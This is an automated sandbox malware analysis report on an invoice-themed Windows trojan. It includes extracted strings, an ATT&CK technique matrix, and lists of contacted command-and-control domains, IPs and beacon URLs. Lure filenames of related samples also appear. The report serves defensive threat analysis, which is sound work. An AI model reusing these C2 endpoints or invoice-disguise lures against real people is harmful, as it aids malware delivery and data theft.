Source: Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 6, 0USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:cdeclwinapistdcallnonestrwstrintbooluintlongulongdwordshortushortwordbyteubytebooleanfloatdoubleptrhwndhandlelresultlparamwparamint64uint64int_ptruint_ptrlong_ptrulong_ptrdword_ptridispatch64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32AutoIt v3 GUI%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----
Source: Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Binary or memory string: WIN_XP
Source: Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Binary or memory string: WIN_XPe
Source: Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Binary or memory string: WIN_VISTA
Source: Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Binary or memory string: WIN_7

Remote Access Functionality

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.4507703675.0000000006490000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4501630605.0000000003000000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4502701769.0000000004C60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2353981080.0000000003A50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4502765838.0000000004CB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2353173694.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4503127560.00000000031A0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2354040519.0000000004800000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_004741BB socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	0_2_004741BB
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_0046483C socket,WSAGetLastError,bind,WSAGetLastError,listen,WSAGetLastError,closesocket,	0_2_0046483C
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_0047AD92 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,	0_2_0047AD92

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	3 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	251 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	312 Process Injection	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	312 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	39%	ReversingLabs	Win32.Trojan.Swotter
Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://www.hover.com/transfer_in?source=parked	0%	Avira URL Cloud	safe
https://www.hover.com/renew?source=parked	0%	Avira URL Cloud	safe
http://www.locuramagica.online/rls3/	0%	Avira URL Cloud	safe
http://www.eco-tops.website/n54u/	0%	Avira URL Cloud	safe
http://www.eco-tops.website/n54u/?UTJ0bhC=ulF5vHaDZay2YbeuiqBK2WYi+52Jh6JWqdjuqGF6KuylXEStCuZI2HnnajvzLLcIwfuU3NLav5OgU7G/d2tti5seczbyW8/HcZoVhAsi6mpRcK6hsQ2VCyFx3Djg7K8V+w==&Pt=fDlHoNWP0RBd	0%	Avira URL Cloud	safe
https://www.hover.com/domain_pricing?source=parked	0%	Avira URL Cloud	safe
https://www.hover.com/privacy?source=parked	0%	Avira URL Cloud	safe
http://www.bioart.buzz/uwg4/	100%	Avira URL Cloud	malware
http://www.gucciqueen.shop/tgvj/?UTJ0bhC=JzeZZokphZySGFVIg3fW0H54lk8TDwrrWR2sEOIWidbOqUuKdhJmv9JQEF9O1RD5XyTbq6Omqzt9QHi6LTaoobUAF4YLNuHihjnBZMeTneWuYVNORWnArhJV2H75YPAzvg==&Pt=fDlHoNWP0RBd	0%	Avira URL Cloud	safe
https://error.kangleweb.net/?code=404&vh=594445	0%	Avira URL Cloud	safe
http://www.newhopetoday.app/f83s/	0%	Avira URL Cloud	safe
http://www.premium303max.rest/p39a/	0%	Avira URL Cloud	safe
http://www.dlion.net/zdtk/?UTJ0bhC=CZnbO61oB8I0t5jp9Yjra7+H6pVn9XqOl0/1mbdze6wgsABtqXuHlKk0QinpfTYx1CmGDnkfwpenOsZSDrrPpuKT49SBu0EMo/Pb2gUHZetqgGuH1mNT0tuZ4b1AatRTdQ==&Pt=fDlHoNWP0RBd	0%	Avira URL Cloud	safe
https://www.hover.com/tos?source=parked	0%	Avira URL Cloud	safe
http://www.regents.health/q97g/?UTJ0bhC=KK21uW0xHvorSk2vqcKD6wcSSPO+hyXQDk2L0YWF9dCKmUutgv1vRlzTvSsha0PsjgX1XZeK5J0dHVwIQm2B9BwzLeItohU7wCU4mTfCSECcS++9DVG9zxqTCFVXtteVmg==&Pt=fDlHoNWP0RBd	0%	Avira URL Cloud	safe
http://www.astrext.info/8u3q/	0%	Avira URL Cloud	safe
https://www.hover.com/about?source=parked	0%	Avira URL Cloud	safe
http://premium303max.rest/p39a/?Pt=fDlHoNWP0RBd&UTJ0bhC=NYM041vNjejJmgmdhSmYVhxa0	0%	Avira URL Cloud	safe
http://www.gucciqueen.shop/tgvj/	0%	Avira URL Cloud	safe
https://www.hover.com/email?source=parked	0%	Avira URL Cloud	safe
http://www.06753.photo/4i55/?Pt=fDlHoNWP0RBd&UTJ0bhC=u0M432eX/xZzvajH7Zn4oj16d1M/QQvp1keQ4HSaLqVhf5mFg72lw0bKX+EdY5KNk4RXhc2Czo9qgjxQ7/1U7lrsyz5+vZkdL+U3wCm0CZUZdVO/eyd7jrB+924QONEljg==	0%	Avira URL Cloud	safe
http://www.dlion.net/zdtk/	0%	Avira URL Cloud	safe
http://www.binacamasala.com/gnm5/	0%	Avira URL Cloud	safe
http://www.premium303max.rest/p39a/?Pt=fDlHoNWP0RBd&UTJ0bhC=NYM041vNjejJmgmdhSmYVhxa0+fvP9BrXtGCCHxlIJ8IspgLPDvRAlXhNJfLJHdGPUuKZVGM9QJ5KO5zmQZa2t3P5lFBsDeA2Uq7kE2QIl2fKsXQslF4XsSGUXNQZJSmUg==	0%	Avira URL Cloud	safe
http://www.73613.shop/tizt/	0%	Avira URL Cloud	safe
http://www.bioart.buzz/uwg4/?UTJ0bhC=FrIvBq+7M+fO4hFqHVkj/h0MgBQBdbkSyhygt3ownjEqtb7lfSc+JwlWQ4K/WGS3VMA0fSxFYiNdEScU0GRMxZDLyu9hbg86BnUYxIHc13WjzD0wj4NYGBX3EB3iY/brcg==&Pt=fDlHoNWP0RBd	100%	Avira URL Cloud	malware
http://www.73613.shop/tizt/?UTJ0bhC=qmi+mqOOYFdY+IQEwG2FxqFWHTg0Nvqmcf68l9cfSo4s6etqUFq9dTq1GSeGSZSg4PJsoSCL3HUy+ahRuGvxg8Ma1a6j66cDsm0o40uJcJz1cVDMGreiQH32Lp7znSrnRg==&Pt=fDlHoNWP0RBd	0%	Avira URL Cloud	safe
https://www.hover.com/tools?source=parked	0%	Avira URL Cloud	safe
http://www.06753.photo/4i55/	0%	Avira URL Cloud	safe
https://help.hover.com/home?source=parked	0%	Avira URL Cloud	safe
http://www.locuramagica.online	0%	Avira URL Cloud	safe
https://www.hover.com/?source=parked	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.newhopetoday.app	216.40.34.41	true	true	unknown
www.73613.shop	180.178.39.236	true	true	unknown
binacamasala.com	3.33.130.190	true	true	unknown
www.locuramagica.online	31.31.198.145	true	true	unknown
gucciqueen.shop	178.79.184.196	true	true	unknown
www.premium303max.rest	45.79.252.94	true	true	unknown
dlion.net	46.38.243.234	true	true	unknown
www.astrext.info	217.160.0.132	true	true	unknown
regents.health	3.33.130.190	true	true	unknown
www.eco-tops.website	203.161.49.193	true	true	unknown
cn-hk2.rvh2.raincs.cn	74.48.34.43	true	true	unknown
gtml.huksa.huhusddfnsuegcdn.com	23.167.152.41	true	false	high
www.06753.photo	unknown	unknown	false	unknown
www.binacamasala.com	unknown	unknown	false	unknown
www.dlion.net	unknown	unknown	false	unknown
www.bioart.buzz	unknown	unknown	false	unknown
www.gucciqueen.shop	unknown	unknown	false	unknown
www.regents.health	unknown	unknown	false	unknown
www.mnpl.online	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.bioart.buzz/uwg4/	true	Avira URL Cloud: malware	unknown
http://www.locuramagica.online/rls3/	true	Avira URL Cloud: safe	unknown
http://www.eco-tops.website/n54u/	true	Avira URL Cloud: safe	unknown
http://www.eco-tops.website/n54u/?UTJ0bhC=ulF5vHaDZay2YbeuiqBK2WYi+52Jh6JWqdjuqGF6KuylXEStCuZI2HnnajvzLLcIwfuU3NLav5OgU7G/d2tti5seczbyW8/HcZoVhAsi6mpRcK6hsQ2VCyFx3Djg7K8V+w==&Pt=fDlHoNWP0RBd	true	Avira URL Cloud: safe	unknown
http://www.gucciqueen.shop/tgvj/?UTJ0bhC=JzeZZokphZySGFVIg3fW0H54lk8TDwrrWR2sEOIWidbOqUuKdhJmv9JQEF9O1RD5XyTbq6Omqzt9QHi6LTaoobUAF4YLNuHihjnBZMeTneWuYVNORWnArhJV2H75YPAzvg==&Pt=fDlHoNWP0RBd	true	Avira URL Cloud: safe	unknown
http://www.newhopetoday.app/f83s/	true	Avira URL Cloud: safe	unknown
http://www.astrext.info/8u3q/	true	Avira URL Cloud: safe	unknown
http://www.premium303max.rest/p39a/	true	Avira URL Cloud: safe	unknown
http://www.dlion.net/zdtk/?UTJ0bhC=CZnbO61oB8I0t5jp9Yjra7+H6pVn9XqOl0/1mbdze6wgsABtqXuHlKk0QinpfTYx1CmGDnkfwpenOsZSDrrPpuKT49SBu0EMo/Pb2gUHZetqgGuH1mNT0tuZ4b1AatRTdQ==&Pt=fDlHoNWP0RBd	true	Avira URL Cloud: safe	unknown
http://www.gucciqueen.shop/tgvj/	true	Avira URL Cloud: safe	unknown
http://www.regents.health/q97g/?UTJ0bhC=KK21uW0xHvorSk2vqcKD6wcSSPO+hyXQDk2L0YWF9dCKmUutgv1vRlzTvSsha0PsjgX1XZeK5J0dHVwIQm2B9BwzLeItohU7wCU4mTfCSECcS++9DVG9zxqTCFVXtteVmg==&Pt=fDlHoNWP0RBd	true	Avira URL Cloud: safe	unknown
http://www.dlion.net/zdtk/	true	Avira URL Cloud: safe	unknown
http://www.06753.photo/4i55/?Pt=fDlHoNWP0RBd&UTJ0bhC=u0M432eX/xZzvajH7Zn4oj16d1M/QQvp1keQ4HSaLqVhf5mFg72lw0bKX+EdY5KNk4RXhc2Czo9qgjxQ7/1U7lrsyz5+vZkdL+U3wCm0CZUZdVO/eyd7jrB+924QONEljg==	true	Avira URL Cloud: safe	unknown
http://www.binacamasala.com/gnm5/	true	Avira URL Cloud: safe	unknown
http://www.premium303max.rest/p39a/?Pt=fDlHoNWP0RBd&UTJ0bhC=NYM041vNjejJmgmdhSmYVhxa0+fvP9BrXtGCCHxlIJ8IspgLPDvRAlXhNJfLJHdGPUuKZVGM9QJ5KO5zmQZa2t3P5lFBsDeA2Uq7kE2QIl2fKsXQslF4XsSGUXNQZJSmUg==	true	Avira URL Cloud: safe	unknown
http://www.73613.shop/tizt/	true	Avira URL Cloud: safe	unknown
http://www.73613.shop/tizt/?UTJ0bhC=qmi+mqOOYFdY+IQEwG2FxqFWHTg0Nvqmcf68l9cfSo4s6etqUFq9dTq1GSeGSZSg4PJsoSCL3HUy+ahRuGvxg8Ma1a6j66cDsm0o40uJcJz1cVDMGreiQH32Lp7znSrnRg==&Pt=fDlHoNWP0RBd	true	Avira URL Cloud: safe	unknown
http://www.06753.photo/4i55/	true	Avira URL Cloud: safe	unknown
http://www.bioart.buzz/uwg4/?UTJ0bhC=FrIvBq+7M+fO4hFqHVkj/h0MgBQBdbkSyhygt3ownjEqtb7lfSc+JwlWQ4K/WGS3VMA0fSxFYiNdEScU0GRMxZDLyu9hbg86BnUYxIHc13WjzD0wj4NYGBX3EB3iY/brcg==&Pt=fDlHoNWP0RBd	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.hover.com/domain_pricing?source=parked	fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.0000000004A8C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4505142286.0000000007E30000.00000004.00000800.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.0000000005F1C000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.hover.com/privacy?source=parked	fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.0000000004A8C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4505142286.0000000007E30000.00000004.00000800.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.0000000005F1C000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	xwizard.exe, 00000005.00000002.4505305897.000000000815E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://twitter.com/hover	fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.0000000004A8C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4505142286.0000000007E30000.00000004.00000800.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.0000000005F1C000.00000004.10000000.00040000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	xwizard.exe, 00000005.00000002.4505305897.000000000815E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.instagram.com/hover_domains	fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.0000000004A8C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4505142286.0000000007E30000.00000004.00000800.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.0000000005F1C000.00000004.10000000.00040000.00000000.sdmp	false		high
https://www.hover.com/transfer_in?source=parked	fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.0000000004A8C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4505142286.0000000007E30000.00000004.00000800.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.0000000005F1C000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.hover.com/renew?source=parked	fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.0000000004A8C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4505142286.0000000007E30000.00000004.00000800.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.0000000005F1C000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	xwizard.exe, 00000005.00000002.4505305897.000000000815E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://error.kangleweb.net/?code=404&vh=594445	fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.0000000004F42000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.00000000063D2000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	xwizard.exe, 00000005.00000002.4505305897.000000000815E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	xwizard.exe, 00000005.00000002.4505305897.000000000815E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.hover.com/email?source=parked	fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.0000000004A8C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4505142286.0000000007E30000.00000004.00000800.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.0000000005F1C000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.hover.com/about?source=parked	fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.0000000004A8C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4505142286.0000000007E30000.00000004.00000800.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.0000000005F1C000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	xwizard.exe, 00000005.00000002.4505305897.000000000815E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.hover.com/domains/results	fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.0000000004A8C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4505142286.0000000007E30000.00000004.00000800.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.0000000005F1C000.00000004.10000000.00040000.00000000.sdmp	false		high
https://www.hover.com/tos?source=parked	fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.0000000004A8C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4505142286.0000000007E30000.00000004.00000800.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.0000000005F1C000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://premium303max.rest/p39a/?Pt=fDlHoNWP0RBd&UTJ0bhC=NYM041vNjejJmgmdhSmYVhxa0	fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.00000000053F8000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.0000000006888000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	xwizard.exe, 00000005.00000002.4505305897.000000000815E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	xwizard.exe, 00000005.00000002.4505305897.000000000815E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.hover.com/tools?source=parked	fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.0000000004A8C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4505142286.0000000007E30000.00000004.00000800.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.0000000005F1C000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://help.hover.com/home?source=parked	fQbMdgFgKkVEm.exe, 00000004.00000002.4506238752.0000000004A8C000.00000004.80000000.00040000.00000000.sdmp, xwizard.exe, 00000005.00000002.4505142286.0000000007E30000.00000004.00000800.00020000.00000000.sdmp, xwizard.exe, 00000005.00000002.4503542218.0000000005F1C000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.locuramagica.online	fQbMdgFgKkVEm.exe, 00000004.00000002.4507703675.0000000006522000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.hover.com/?source=parked	xwizard.exe, 00000005.00000002.4503542218.0000000005F1C000.00000004.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
217.160.0.132	www.astrext.info	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
31.31.198.145	www.locuramagica.online	Russian Federation	197695	AS-REGRU	true
45.79.252.94	www.premium303max.rest	United States	63949	LINODE-APLinodeLLCUS	true
203.161.49.193	www.eco-tops.website	Malaysia	45899	VNPT-AS-VNVNPTCorpVN	true
23.167.152.41	gtml.huksa.huhusddfnsuegcdn.com	Reserved	395774	ESVC-ASNUS	false
178.79.184.196	gucciqueen.shop	United Kingdom	63949	LINODE-APLinodeLLCUS	true
180.178.39.236	www.73613.shop	Hong Kong	45753	NETSEC-HKNETSECHK	true
74.48.34.43	cn-hk2.rvh2.raincs.cn	Canada	14663	TELUS-3CA	true
3.33.130.190	binacamasala.com	United States	8987	AMAZONEXPANSIONGB	true
216.40.34.41	www.newhopetoday.app	Canada	15348	TUCOWSCA	true
46.38.243.234	dlion.net	Germany	197540	NETCUP-ASnetcupGmbHDE	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1572490
Start date and time:	2024-12-10 16:22:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Outstanding Invoices Spreadsheet Scan 00495_PDF.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/3@17/11
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 91% Number of executed functions: 41 Number of non-executed functions: 310
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Simulations

Behavior and APIs

Time	Type	Description
10:24:06	API Interceptor	9951939x Sleep call for process: xwizard.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
217.160.0.132	Letter of Intent (LOI) For the Company November 2024 PDF.pif.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.astrext.info/8u3q/
	LlbpXphTu9.exe	Get hash	malicious	Unknown	Browse	www.astrext.info/igvi/
	08.02.2022_Prox0030_0122- TAIWAN HOKURYO CO.,LTD.exe	Get hash	malicious	FormBook	Browse	www.marketplaceimmo.com/q36s/?1bGpqN=3pP/L2XpSC30J9vFVSLRbULXiIxRhzb0AzWKRXEle5xB/rg0XzMhonS5eIq4WPaEzNk7&Vr=MBZl9ZMXj4u
31.31.198.145	HXpVpoC9cr.exe	Get hash	malicious	FormBook	Browse	www.locuramagica.online/0j80/
	NIlfETZ9aE.exe	Get hash	malicious	FormBook	Browse	www.locuramagica.online/o1gh/
	WARUNKI UMOWY-pdf.bat.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.locuramagica.online/huqh/
45.79.252.94	Maryam Farokhi-PhD- CV-1403.exe	Get hash	malicious	FormBook	Browse	www.premium303max.rest/s6a5/
	Y7isAhMKal.exe	Get hash	malicious	FormBook	Browse	www.premium303max.rest/0nni/
	DHL_doc.exe	Get hash	malicious	FormBook	Browse	www.premium303max.rest/4sq5/
	INVOICES.exe	Get hash	malicious	FormBook	Browse	www.premium303max.rest/4sq5/
203.161.49.193	ORIGINAL INVOICE COAU7230734290.exe	Get hash	malicious	FormBook	Browse	www.futurevision.life/hxmz/
	Payroll List.exe	Get hash	malicious	FormBook	Browse	www.futurevision.life/hxmz/
	MV KODCO.exe	Get hash	malicious	FormBook	Browse	www.futurevision.life/hxmz/?jD=VzTtTZ&1H=xeYt+TVrluKccowmz5a5GltLZ9YZ3snijwrYeJgffsaeXHWEwE1YZCbtIyEm+ckVl2hmk1+GOFDMCTsPe0H70c0RaNOmwh+TnBkmQn+jSxAt6pokQYbXkws=
	PO 20495088.exe	Get hash	malicious	FormBook	Browse	www.inspires.website/tv3i/
	Arrival Notice_pdf.exe	Get hash	malicious	FormBook	Browse	www.futurevision.life/hxmz/
	PROFORMA INVOICE.exe	Get hash	malicious	FormBook	Browse	www.futurevision.life/hxmz/
	Swift MT1O3 Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	FormBook	Browse	www.futurevision.life/cadc/?mRu=yfxAwDfWka0dfjkEErxT6WYgWaOc4HN689PIo8avXNW9JAsEk9V7nvZjppH3ozqb+GZGdofwBlLzR01W2aLtY3/CfTpxh0qnHwCWqwdq33lIMBmS8NPwCm4=&UJ=7H1XM
	Letter of Intent (LOI) For the Company November 2024 PDF.pif.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.eco-tops.website/n54u/
	Shipping documents..exe	Get hash	malicious	FormBook	Browse	www.futurevision.life/hxmz/
	DHL_IMPORT_8236820594.exe	Get hash	malicious	FormBook	Browse	www.harmonid.life/aq3t/

Domains

